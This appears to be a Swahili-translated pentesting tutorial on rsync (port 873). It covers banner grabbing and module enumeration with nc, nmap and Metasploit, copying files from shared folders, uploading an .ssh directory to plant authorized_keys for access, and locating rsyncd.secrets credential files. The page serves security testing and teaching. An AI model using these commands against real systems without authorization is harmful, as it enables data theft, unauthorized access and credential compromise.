# 873 - Pentesting Rsync

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## **Basic Information**

From [wikipedia](https://en.wikipedia.org/wiki/Rsync):

> **rsync** ni chombo cha kuhamasisha [kuhamasisha](https://en.wikipedia.org/wiki/File_transfer) na [kuunganisha](https://en.wikipedia.org/wiki/File_synchronization) [faili](https://en.wikipedia.org/wiki/Computer_file) kati ya kompyuta na diski ngumu ya nje na kati ya [kompyuta](https://en.wikipedia.org/wiki/Computer) zilizounganishwa [mtandao](https://en.wikipedia.org/wiki/Computer_network) kwa kulinganisha [nyakati za mabadiliko](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) na ukubwa wa faili.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Inapatikana mara nyingi kwenye [sistimu za uendeshaji](https://en.wikipedia.org/wiki/Operating_system) zinazofanana na [Unix](https://en.wikipedia.org/wiki/Unix-like). Algorithimu ya rsync ni aina ya [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), na inatumika kupunguza matumizi ya mtandao. [Zlib](https://en.wikipedia.org/wiki/Zlib) inaweza kutumika kwa [kuongeza](https://en.wikipedia.org/wiki/Data_compression) [kushinikiza data](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) na [SSH](https://en.wikipedia.org/wiki/Secure_Shell) au [stunnel](https://en.wikipedia.org/wiki/Stunnel) zinaweza kutumika kwa usalama.

**Default port:** 873
```
PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack
```
## Enumeration

### Banner & Manual communication
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password
```
### **Kuhesabu Folda Zinazoshirikiwa**

**Moduli za Rsync** zinatambulika kama **ushirikiano wa saraka** ambazo zinaweza kuwa **zilizo na nywila**. Ili kubaini moduli zinazopatikana na kuangalia kama zinahitaji nywila, amri zifuatazo zinatumika:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Kumbuka kwamba baadhi ya sehemu zinaweza kutokuwepo kwenye orodha, huenda zikafichwa. Zaidi ya hayo, kufikia baadhi ya sehemu kunaweza kuwa na vizuizi kwa **credentials** maalum, vinavyoonyeshwa na ujumbe wa **"Access Denied"**.

### [**Brute Force**](../generic-hacking/brute-force.md#rsync)

### Matumizi ya Manual Rsync

Baada ya kupata **module list**, hatua zinategemea kama uthibitisho unahitajika. Bila uthibitisho, **kuorodhesha** na **kunakili** faili kutoka kwenye folda iliyoshirikiwa hadi kwenye directory ya ndani inafanywa kupitia:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Hii mchakato **huhamasisha faili kwa kurudi nyuma**, ikihifadhi sifa na ruhusa zao.

Kwa **vithibitisho**, orodha na kupakua kutoka kwa folda iliyopewa inaweza kufanywa kama ifuatavyo, ambapo dirisha la nenosiri litajitokeza:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Ili **kupakia maudhui**, kama faili ya _**authorized_keys**_ kwa ufikiaji, tumia:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST

Ili kupata faili ya usanidi wa rsyncd, tekeleza:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Katika faili hii, parameter ya _secrets file_ inaweza kuelekeza kwenye faili inayokuwa na **majina ya watumiaji na nywila** za uthibitishaji wa rsyncd.

## Marejeleo

- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)

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